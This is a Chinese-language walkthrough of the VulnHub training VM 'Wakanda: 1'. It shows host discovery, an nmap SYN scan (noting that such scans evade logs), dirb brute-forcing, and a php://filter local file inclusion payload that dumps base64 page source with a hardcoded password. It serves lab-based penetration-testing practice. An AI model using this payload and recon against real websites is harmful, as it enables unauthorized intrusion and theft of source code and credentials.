2020-1-7：vulnhub靶场练习，wakanda: 1

一、环境准备

1，下载地址：https://www.vulnhub.com/entry/wakanda-1,251/

2，下载之后，使用VirtualBox虚拟机软件导入虚拟机

3，启动，为了方便测试，网络选择了桥接模式

二、渗透练习

1，收集靶机ip地址

输入命令：netdiscover

发现靶机ip地址为，192.168.1.102

2，收集靶机端口信息

-sS，TCP同步扫描(TCP SYN)，因为不必全部打开一个TCP连接，所以这项技术通常称为半开扫描(half-open)。这项技术最大的好处是，很少有系统能够把这记入系统日志。不过，你需要root权限来定制SYN数据包。

-T4，指定扫描过程使用的时序（Timing），总有6个级别（0-5），级别越高，扫描速度越快，但也容易被防火墙或IDS检测并屏蔽掉，在网络通讯状况良好的情况推荐使用T4

-p-，指定扫描的端口为所有端口，及1-65535

开放端口：

80端口，为http服务

111端口，为RPC服务所有端口

3333端口，探测发现运行的为ssh服务端口

48628端口，未知端口

3，开启了80端口，就访问寻找突破点

4，只有一个页面，看着没利用漏洞，使用dirb爆破目录看是否有可利用

输入命令：dirb http://192.168.1.102

尝试访问界面，都没有返回信息

5，仔细看了下源码，发现注释的一句 href="?lang=fr"，将URL添加上之后，页面语言变成了法语

lang表示可切换的网站语言（网站常常具支持多语言，例如英语、法语、中文等），fr表示法语。我们尝试在HTTP URL中添加这个参数，切换语言为法语。

6，尝试利用，可能存在文件包含漏洞，尝试读取源码

payload：http://192.168.1.102/?lang=php://filter/convert.base64-encode/resource=index

得到了网站源码

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=